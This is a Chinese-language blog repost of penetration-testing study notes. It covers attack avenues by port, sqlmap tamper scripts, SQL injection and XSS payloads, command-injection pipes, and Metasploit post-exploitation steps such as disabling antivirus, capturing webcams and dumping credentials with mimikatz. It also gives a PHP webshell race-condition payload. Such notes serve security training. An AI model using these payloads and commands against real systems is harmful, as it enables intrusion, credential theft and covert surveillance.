Web安全攻防渗透测试实战指南NOTES

  • A+
所属分类:安全文章

常见端口及攻击方向

文件共享服务端口

 端口号 端口说明    攻击方向 21/22/69    ftp/tftp文件传输协议  允许匿名的上传下载、爆破和嗅探操作 2049    nfs服务   配置不当 139 samba服务 爆破、未授权访问、远程代码执行 389 ldap目录访问协议  注入、允许匿名访问、弱口令

远程连接服务端口

 22  SSH远程连接 爆破、ssh隧道及内网代理转发、文件传输 23  Telnet远程连接  爆破、嗅探、弱口令 3389    rdp远程桌面连接   shift后门(需要Windows server 2003及以下的系统)、爆破 5900    vnc 弱口令爆破 5632    pyanywhere  抓密码、代码执行

WEB应用服务端口

 80/443/8080 常见的web服务端口  web攻击、爆破、对应服务器版本漏洞 7001/7002   weblogic控制台 java反序列化、弱口令 8080/8089   jboss/resin/jetty/jenkins   反序列化、控制台弱口令 9090    websphere控制台    java反序列化、弱口令 4848    glassfish控制台    弱口令 1352    lotusdomain邮件服务 弱口令、信息泄露、爆破 10000   webmin-web控制面板  弱口令

数据库服务端口

 3306    MySQL数据库    注入、提权、爆破 1433    mssql数据库    注入、提权、SA弱口令、爆破 1521    Oracle数据库   tns爆破、注入、反弹shell 5432    postgreSQL  爆破、注入、弱口令 27017/27018 mongodb 爆破、未授权访问 6379    Redis数据库    可尝试未授权访问、弱口令爆破 5000    sysbase/db2数据库  爆破、注入

邮件服务端口

 25  smtp邮件服务    邮件伪造 110 pop3协议  爆破、嗅探 143 IMAP协议  爆破

网络常见协议端口

 53  DNS域名系统 允许区域传送、DNS劫持、缓存投毒、欺骗 67/68   DHCP服务  劫持、欺骗 161 SNMP协议  爆破、搜集目标内网信息

特殊服务端口

 2181    zookeeper服务 未授权访问 8069    zabbix服务    远程执行、SQL注入 9200/9300   elasticsearch服务 远程执行 11211   memcache服务  未授权访问 512/513/514 linux rexec服务   匿名访问、文件上传 3690    SVN服务   SVN泄露、未授权访问 50000   SAP management console  远程执行

常见的CMS

 dedecms(织梦)、discuz、phpweb、phpwind、phpcms、ecshop、dvbbs、siteweaver、aspcms、帝国、z-blog、WordPress等

指纹识别工具

 御剑web指纹识别、whatweb、webrobo、椰树、轻量web指纹识别等

SQLMAP相关介绍

 -r dir/1.txt选项用来判断请求中是否存在注入(一般在存在cookie注入时使用)  --users当当前用户有权限读取包含所有用户的表的权限时,可以列出所有管理用户  --identify-waf识别waf  --current-db获取网站数据库的名称  --current-user获取当前网站数据库的用户名称  --is-dba检测当前用户是否为管理权限  --roles列出数据库管理员角色  --refererHTTPreferer头,sqlmap可以再请求中伪造HTTP中的Referer,当--level参数设定为3或3以上时,会尝试对Referer注入。可以使用Referer命令来欺骗,如--referer http://www.baidu.com  --sql-shell运行自定义SQL语句  --os-cmd,--os-shell运行任意操作系统命令  --os-shell参数可以模拟一个真实的shell,输入想要执行的命令。当不能执行多语句时(比如PHP或asp的后端数据库为MySQL),仍然可以使用into outfile写进可写目录,创建一个web后门。--os-shell支持asp、asp.net、jsp和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。  --file-read从数据库服务器中读取文件,该命令用于读取执行文件,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件例如: --file-read "c:/example.exe" -v 1  --file-write,--file-dest上传文件到数据库服务器中 --file-write "/software/nc.exe.packed" --file-dest "c:windows/temp/nc.exe" -v 1  --tamper=11.py选择相应的脚本来绕过waf等设备         apostrophemask.py   将引号替换为utf-8,用于过滤单引号         1 and'1'='1 使用脚本后语句为:1and%EF%BC%871%EF%BC%87=%EF%BC%871         base64encode.py 替换为base64编码         1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==         multiplespaces.py   围绕SQL关键字添加过个空格         1 UNION SELECT foobar => 1 UNION SELECT foobar         space2plus.py   用+号替换空格         SELECT id FROM users => SELECT+id+FROM+users         space2randomblank.py    将空格替换为其他有效字符         SELECT id FROM users => SELECT%0Did%0DFROM%0Dusers         unionalltounion.py  将UNION ALL SELECT替换为UNION SELECT         -1 UNION ALL SELECT => -1 UNION SELECT         space2hash.py   将空格替换为#号,并添加一个随机字符串和换行符         1 AND 9227=9227 => 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227         space2mssqlblank.py(mssql)  将空格替换为其他空符号         SELECT id FROM users => SELECT%0Eid%0DFROM%07users         space2mssqlhash.py  将空格替换为#号,并添加一个换行符         1 AND 9227=9227 => 1%23%0AAND%23%0A9227=9227         between.py  用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND 替换等号(=)。         percentage.py   ASP允许在每个字符前面添加一个%号         SELECT FIELD FROM TABLE=>%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E         sp_password.py  从DBMS日志的自动模糊处理的有效载荷中追加sp_password         1 AND 9=9- => 1 AND 9=9--sp_password         charencode.py   对给定的payload全部字符使用URL编码(不处理已编码的字符)         randomcase.py   随机大小写         charunicodeencode.py    字符串unicode编码         space2comment.py    将空格替换为/**/         equaltolike.py  将等号替换为like         id=1 => id LIKE 1         greatest.py 绕过对">"的过滤,用GREATEST替换大于号。         A>B => GREATEST(A,B+1)=A    测试通过的数据库类型和版本:         MySQL4、MySQL5.0和MySQL5.5         Oracle 10g         PostgreSQL8.3、PostgreSQL8.4和PostgreSQL9.0         ifnull2ifisnull.py  绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)。         测试通过的数据库类型和版本为MySQL5.0和MySQL5.5         modsecurityversioned.py 过滤空格,使用MySQL内联注释的方式进行注入。         1 AND 2>1- => 1 /*!30874AND 2>1*/-         测试通过的数据库类型和版本为MySQL5.0         space2mysqlblank.py 将空格替换为其他空白符号(适用于mysql)         SELECT id FROM users => SELECT%A0id%0BFROM%0Cusers         测试通过的数据库类型和版本为MySQL5.1         modsecurityzeroversioned.py 使用MySQL内联注释的方式(/*! 00000*/)进行注入。         1 AND 2>1- => 1 /*! 00000AND 2>1*/-         测试通过的数据库类型和版本为MySQL5.0         space2mysqldash.py  将空格替换为--,并添加一个换行符。         1 AND 2=2 => 1--%0AAND--%0A2=2         bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。%09替换空格。         测试通过的数据库类型和版本为MySQL5.1和SGOS         versionedkeywords.py    注释绕过         UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))#         =>/*!UNION**! ALL**! SELECT**! NULL*/,/*!NULL*/,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()/*!AS **!CHAR*/),CHAR(32)),CH/**/AR(58,100,114,117,58))#         halfversionedmorekeywords.py    当数据库为mysql时绕过防火墙,在每个关键字之前添加MySQL版本注释。及,在关键字之前添加"/*!0"         测试通过的数据库类型和版本为MySQL4.0.18和MySQL5.0.22         space2morehash.py   将空格替换为#号,并添加一个随机字符串和换行符         测试通过的数据库类型和版本为MySQL5.1.41         apostrophenullencode.py 用非法字符串Unicode字符替换单引号         ' => %00%27         appendnullbyte.py   在有效负荷的结束位置加载零字节字符编码         and 1=1 => and 1=1%00         chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)         unmagicquotes.py    用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。         1‘ AND 1=1 => 1%bf%27-         randomcomments.py   用/**/分割SQL关键字         INSERT => IN/**/S/**/ERT  sqlmap使用的时候,当注入点后面的参数大于等于两个时,-u选项后面的URL需要加双引号。 SQLMAP自带的tamper并非全能,需要自己了解编写规则,从容面对不同环境。

BURP相关介绍

 burp具有主动扫描和被动扫描两种功能。两种方式各有千秋。 sniper模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行fuzzging测试的情景。攻击中的请求总数应该是position数量和payload数量的乘积。   (单个参数挨个来,多个参数也是挨个来) Battering ram模式使用单一的payload组。它会重复payload并一次性把所有相同的payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是payload组中payload的总数。(单个参数挨个来,多个参数一起爆破) pitchfork模式使用多个payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的payload组中的payload数量。(payload并排组合爆破,按照最小的payload数量执行) cluster bomb模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各payload组中payload数量的乘积。(payload交叉组合爆破)

NMAP相关介绍

 nmap完整的扫描命令:nmap -T4 -A -v 1.1.1.1 nmap 1.1.1.1 1.1.1.9 nmap 1.1.1.1-9 nmap 1.1.1.0/24 --exclude 1.1.1.4 nmap 1.1.1.0/24 --excludefile dir6.txt nmap 1.1.1.1 -p21,22,23,80 nmap -sP 1.1.1.0/24查看目标地址C段的在线情况 nmap -sF -T4 1.1.1.1探测防火墙状态 nmap的scripts脚本主要分为以下几类: auth:负责处理鉴权证书(绕过鉴权) broadcast:在局域网内探查更多服务 brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP等 default:使用-sC或-A选项扫描时默认的脚本,提供基本的脚本扫描能力 discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等 Dos:用于进行拒绝服务攻击。 exploit:利用已知的漏洞入侵系统。 external:利用第三方的数据库或资源。例如,进行Whois解析。 Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。 Intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽。 Malware:探测目标机是否感染了病毒、开启后门等信息。 Safe:此类与intrusive相反,属于安全性脚本。 Version:负责增强服务与版本扫描功能的脚本。 Vuln:负责检查目标机器是否有常见漏洞,如MS09-067 -sC 使用默认脚本进行扫描 --script=<Lua scripts>:等于号后面跟文件名,用改脚本进行扫描 --script-args=key1=value1,key2=value2...该参数用于传递脚本里的参数,key1是参数名,改参数对应value1这个值。如果有更多的参数,使用逗号连接。 --script-args-file=filename使用文件为脚本提供参数。 --script-trace如果设置该参数,则显示脚本执行过程中发送与接收的数据。 --script-updatedb在nmap的scripts目录里有一个script.db文件,改文件保存了当前nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并调用了此参数,则nmap会自行进行扫描scripts目录中的扩展脚本,进行数据库更新。 --script-help调用该参数后,nmap会输出该脚本对应的脚本使用参数,以及详细的介绍信息 nmap --script=auth 192.168.0.16 对目标主机或目标主机所在的网段进行应用弱口令检测 nmap --script=brute 192.168.0.16 nmap具有暴力破解的功能,可以对数据库、SMB、SNMP等进行简单密码的暴力破解。 nmap --script=vuln 192.168.0.16 nmap具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。 nmap --script=realvnc-auth-bypass 100.64.0.1 nmap具备很多常见应用服务的扫描脚本,例如VNC服务、MySQL服务/telnet服务、Rsync服务,此处以VNC服务为例。 nmap -n -p445 --script=broadcast 100.64.0.1该命令可探测局域网内更多服务开启的情况。 nmap --script external bing.comwhois解析利用第三方的数据库或资源查询目标地址的信息。 https://nmap.org/nsedoc/categories/官网扫描脚本的使用方法

SQL注入

 MySQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES、和COLUMNS。 SCHEMATA表存储该用户创建的所有数据库的库名。记录库名的字段是SCHEMA_NAME。 TABLES表存储该用户创建的所有数据库的库名和表名。记录数据库库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。 COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COMUMN_NAME。 limit(m,n):表示从第一条(行)记录开始,取一条记录。 database():当前网站使用的数据库 version():当前MySQL的版本 user():当前MySQL的用户 MySQL中的注释:#、-- (及横横空格)、/**/ 内联注释:/*! code*/         内联注释可以用于整个SQL语句中,用来执行我们的SQL语句         ?id=-15 /*! UNION*//*! SECECT*/1,2,3

注入类型

 UNION注入攻击 判断注入点、order by判断字段数、union select 1,2,3(由于代码只返回第一条结果,我们可以让前面报错来正确的显示输出点:id=-1) 详情可见zk教程  Boolean注入 页面只进行正确或错误的返回,无法使用union注入攻击。 Boolean注入通过查看页面的返回结果来推测那些SQL判断条件是成立的,以此获取数据库中的数据。判断数据库名的长度为例:'and length(database())>=1--+ 可以在burp中抓取对应的数据包来跑数字,进行猜解。  报错注入 返回的内容在错误消息中。  时间注入攻击 他与Boolean注入的不同之处在于,时间注入是利用sleep()、huobenchmark()等函数让MySQL的执行时间变长。  堆叠查询注入攻击 堆叠查询可以执行多条语句,多条语句之间以分号隔开 id=1';select if (ord(substring(user(),1,1))=114,sleep(3),1);%23  二次注入攻击 a文件的传参过后会得到一个id值,b文件中传入该id值,正确回显注入的信息。  宽字节注入攻击 数据库的编码是gbk时才可用,吃掉/即可:id=1%df'and 1=1%23 需要使用单引号的未知中采用嵌套查询。避免出现单引号。 PHP中通过iconv()进行编码转换时,也可能存在宽字节注入漏洞。  cookie注入攻击 URL中没有get参数,但是页面返回正常,使用burp suite抓取数据包,发现cookie中存在id=1的参数。注入就开始了  base64注入攻击 %3d是=的url编码 id的传参经过base64编码,需要解码查看其中的内容 注入时对传参进行相应的编码即可  XFF注入攻击 抓包发现HTTP请求头中有XFF头。将XFF改为127.0.0.1访问发现页面正常。127.0.0.1'and 1=1#正常、127.0.0.1'and 1=2#错误,说明存在注入

SQL注入绕过技术

 大小写绕过注入(查询字段被拦截时可以采用大写的方式来绕过) 双写绕过and 1=1变成1=1and被过滤了用anandd 1=1发现可以 URL全编码绕过(进行两次编码的意思) 内联注释绕过id=1 /*! and*/1=1

XSS相关介绍

 DOM型XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。 XSS常用测试语句: <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href=javascript:alert(1)> 常见的XSS的绕过编码又JS编码,HTML编码和URL编码。

Linux/Windows管道符

 Windows支持的管道符如下: |:直接执行后面的语句。例如:ping 127.0.0.1|whoami ||:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 1||whoami &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 119.29.29.29&whoami。 &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。  Linux支持的管道符如下: ;:执行完前面的语句再执行后面的。例如:ping 119.29.29.29;whoami |:先师后面语句的执行结果。例如:ping 119.29.29.29|whoami ||:当前面的语句执行出错时,执行后面的语句。例如:ping 9||whoami &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 119.29.29.29&whoami。 &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。

绕过WAF的方式

 WAF基本上可以分为以下几类:软件型WAF、硬件型WAF、云WAF、网站系统内置的WAF。  绕过WAF的方式: 1、大小写混合(现在几乎没有这样的情况) 2、URL编码(目标web系统的代码中如果进行额外的URL解码,即可进行URL二次编码绕过)、 3、替换关键字,及双写关键字。unuionion selselectect 4、使用注释,用注释来替代空格。内联注释绕过也可以。比如:union/*233*/select/*wocao*/1,2,3 5、多参数请求拆分。and a=union/*and b=*/select 1,2,3 6HTTP参数污染。HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果。 7、生僻函数。例如在报错注入中使用polygon()函数替换常用的updatexml()函数。 8、寻找网站源站IP。通过IP访问网站,就可以绕过云waf的检测。 9、注入参数到cookies中。cookie有时不会检测。

Metasploit基础

 auxiliaries(辅助模块) exploit(漏洞利用模块) payload(攻击载荷模块) post(后期渗透模块) encoders(编码工具模块)  meterpreter刚刚获取shell时,该shell是极其脆弱和易受攻击的,进行进程迁移可以使渗透更难被检测到。  run post/windows/manage/migrate自动迁移进程 sysinfo查看目标机的系统信息 run post/windows/gather/checkvm检查目标机是否运行在虚拟机上 idletime可以看到目标机最近的运行时间 route查看目标机完整的网络设置 background将当前会话放到后台 getuid查看当前目标机器上已经渗透成功的用户名 getsystem进行提权 run post/windows/manage/killav关闭目标系统杀毒软件 run post/windows/manage/enable_rdp启动目标机的远程桌面协议 run post/windows/manage/autoroute查看目标机的本地子网情况 background会话隐藏在后台 route add 1.1.1.1 255.255.255.0 1将上述查看的网段添加到路由 route print查看路由是否添加成功。接着就可以攻击其他网络了 run post/windows/gather/enum_logged_on_users列举当前有多少用户登录了目标机。 run post/windows/gather/enum_applications列举目标机上的安装程序 load espia 加载插件 screengrab 抓取此时目标机的屏幕截图 screenshot 也可以达到同样的效果 webcam_list查看目标机是否有摄像头 webcam_snap打开目标机摄像头,拍一张照片 webcam_stream开启直播模式 shell进入目标机的shell下面 pwd查看当前处于目标机的哪个目录 getlwd查看当前处于本地的哪个目录 search -f *.txt -d c:搜索C盘中所有以.txt为扩展名的文件 download c:test.txt /root下载C盘的test.txt文件到攻击机root目录下 upload /root/test.txt c:上传文件到目标机器 XP下低权限用户是不能使用WMIC命令的,但是在Windows7和8下,低权限用户可以使用wmic,且不用更改任何设置。 quarks pwdump抓取密码 Windows Credentials Editor强大的Windows平台内网渗透工具也可以抓取密码 Mimikatz抓取密码 Windows2000与WindowsXP下无法使用,默认直接加载一个32位的版本,系统为64位时,需要将其嵌入到一个64位程序的进程中。 mimkatz_command选项可以让我们使用mimikatz的全部功能,需要通过加载一个错误的模块得到可用模块的完整列表。 msv抓取系统hash值 kerberos抓取系统票据 wdigest获取系统账户信息 Cymothoa是一款可以将shellcode注入现有进程(即插进程)的后门工具。 Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用它创建注册和文件。

其它记录

 利用burp的repeater模块可以根据返回包获取一些服务器的信息。 社会工程学在渗透测试中起着不小的作用。  子域名搜集工具 Layer子域名挖掘机、sublist3r、subDomainsBrute  除了nmap、masscan、zmap之外,御剑也可以进行tcp端口扫描工具。  dirbuster推荐线程在20-30之间,太大容易死机     :/admin/{dir}.php   扫描admin目录下的PHP文件     /{dir}  扫描根目录下所有文件  lamp默认凭证:8080端口,adminwdlinux.cn  CSRF也被称为One Click Attac或者Session Riding,通常缩写为CSRF或者XSRF  Linux合并图片和webshell的命令如下: cat image.png webshell.php>image.php  文件后缀绕过、文件类型绕过、文件截断绕过(条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。)  条件竞争的条件:一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差。 条件竞争的payload: <?php fpute(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>'); ?>  PHP中可以执行系统命令的函数如下: system、exec、shell_exec、passthru、proc_popen等。

本文始发于微信公众号(WhITECat安全团队):Web安全攻防渗透测试实战指南NOTES

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: